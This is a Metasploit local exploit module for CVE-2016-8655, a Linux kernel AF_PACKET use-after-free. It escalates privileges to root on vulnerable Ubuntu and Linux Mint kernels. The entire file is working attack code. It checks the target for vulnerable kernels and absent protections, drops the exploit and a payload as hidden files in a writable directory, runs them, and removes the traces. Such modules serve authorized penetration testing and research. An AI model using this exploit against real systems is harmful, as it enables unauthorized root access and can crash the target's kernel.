##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AF_PACKET chocobo_root Privilege Escalation',
      'Description'    => %q{
        This module exploits a race condition and use-after-free in the
        packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
        the Linux kernel to execute code as root (CVE-2016-8655).

        The bug was initially introduced in 2011 and patched in 2016 in version
        4.4.0-53.74, potentially affecting a large number of kernels; however
        this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
        4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
        Linux Mint.

        The target system must have unprivileged user namespaces enabled,
        two or more CPU cores, and SMAP must be disabled.

        Bypasses for SMEP and KASLR are included. Failed exploitation
        may crash the kernel.

        This module has been tested successfully on

        Linux Mint 17.3 (x86_64);
        Linux Mint 18 (x86_64);
        Ubuntu 16.04 (x86_64); and
        Ubuntu 16.04.2 (x86_64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rebel', # Discovery and chocobo_root.c exploit
          'bcoles' # Metasploit
        ],
      'DisclosureDate' => '2016-08-12',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'EDB', '40871' ],
          [ 'CVE', '2016-8655' ],
          [ 'BID', '94692' ],
          [ 'URL', 'https://seclists.org/oss-sec/2016/q4/607' ],
          [ 'URL', 'https://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ],
          [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ],
          [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ],
          [ 'URL', 'https://usn.ubuntu.com/3151-1/' ],
          [ 'URL', 'https://www.securitytracker.com/id/1037403' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ]
        ],
      'Notes'          =>
        {
          'AKA'         => ['chocobo_root.c'],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_OS_DOWN ]
        },
      'DefaultTarget'  => 0
    ))
    register_options [
      OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def timeout
    datastore['TIMEOUT'].to_i
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end
    vprint_good "System architecture #{arch} is supported"

    offsets = strip_comments(exploit_data('CVE-2016-8655', 'chocobo_root.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
    kernels = offsets.scan(/"(.+?)"/).flatten

    version = "#{kernel_release} #{kernel_version.split(' ').first}"
    unless kernels.include? version
      return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
    end
    vprint_good "Linux kernel #{version} is vulnerable"

    if smap_enabled?
      return CheckCode::Safe('SMAP is enabled')
    end
    vprint_good 'SMAP is not enabled'

    if lkrg_installed?
      return CheckCode::Safe('LKRG is installed')
    end
    vprint_good 'LKRG is not installed'

    if grsec_installed?
      return CheckCode::Safe('grsecurity is in use')
    end
    vprint_good 'grsecurity is not in use'

    cores = get_cpu_info[:cores].to_i
    min_required_cores = 2
    unless cores >= min_required_cores
      return CheckCode::Safe("System has less than #{min_required_cores} CPU cores")
    end
    vprint_good "System has #{cores} CPU cores"

    config = kernel_config
    if config.nil?
      return CheckCode::Unknown('Could not retrieve kernel config')
    end

    unless config.include? 'CONFIG_USER_NS=y'
      return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS')
    end
    vprint_good 'Kernel config has CONFIG_USER_NS enabled'

    unless userns_enabled?
      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('CVE-2016-8655', 'chocobo_root.c'), '-lpthread'
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('CVE-2016-8655', 'chocobo_root')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status "Launching exploit (Timeout: #{timeout})..."
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path}.."
    rm_f executable_path
    rm_f payload_path
  end
end
